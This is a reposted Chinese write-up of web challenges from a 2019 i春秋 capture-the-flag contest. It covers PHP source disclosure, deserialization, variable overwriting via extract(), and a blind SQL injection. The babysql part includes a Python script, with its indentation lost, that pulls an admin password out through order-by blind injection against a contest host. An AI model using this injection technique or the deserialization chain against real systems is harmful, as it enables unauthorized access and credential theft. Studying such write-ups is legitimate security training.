概述
i春秋 2019-10月CTF答题夺旗赛 web部分wp
1.easyphp
通过观察可以发现img传参base64解码;同样的方法可得index.php源码
之后构造序列化。。。。。
2、calculate1,2
写wp前删掉了脚本,简述下:利用selenium运算公式并结合chromedriver进行10次提交
3、babysql
之后测试admin’orderby 1# 到3,直到4时
得知列数为3,通过fuzz发现union select可用,且页面返回第二列的内容即用户名,且常规注入不可行。尝试order by盲注,payload=admin’union select 1,2,‘c’ order by 3#。发现当字符小于等于密码时,显示2,当大于密码时显示admin。
由此写出脚本:
import requests
url = "http://120.55.43.255:13004/login.php"
print(hex(61))
flag = ""
for i in range(1, 50):
print(i)
end = 31
head = 127
while abs(head - end) > 1:
mid = (end + head) // 2
print(mid)
data1 = flag + chr(mid)
print(data1)
sql = "admin'union select 1,2,0x{} order by 3#".format(data1.encode("hex"))
s = requests.session()
data = {
'username': sql,
'passwd': 'admin'
}
print(sql)
result = requests.post(url=url, data=data)
if "admin" in result.text:
head = mid
else:
end = mid
flag = flag + chr(end)
print('flag:' + flag)
print("flag:" + flag)
这里要注意大小写,因为MySQL比较大小时是不区分的。
最后一位是d,因为最后一位时就是正确的admin的passwd应该往后取一位
4、best_language
进来就是代码审计,第一个点:提交%s即可绕过
第二个点:传参时第一个参数为first=’u’
第三个点:变量覆盖,查找参数为数组的变量覆盖的函数,发现了extract。
随即传参,可以由文件包含得到class.php源码。
上来看到前两行,PHP_SESSION_UPLOAD_PROGRESS的利用
构造表单,抓包改参数。
代码大致意思由Monitor反序列化触发Welcome的__toString魔术方法,接着用到Come的execute方法,有个substr的waf还是好绕的,/…/即可。
熟悉的flag,之后利用之前的文件包含获取flag。
5.easy_encode
看到102 且大部分在127下。尝试了ascii编码转换,得到flag
最后
以上就是简单心情为你收集整理的i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp的全部内容,希望文章能够帮你解决i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复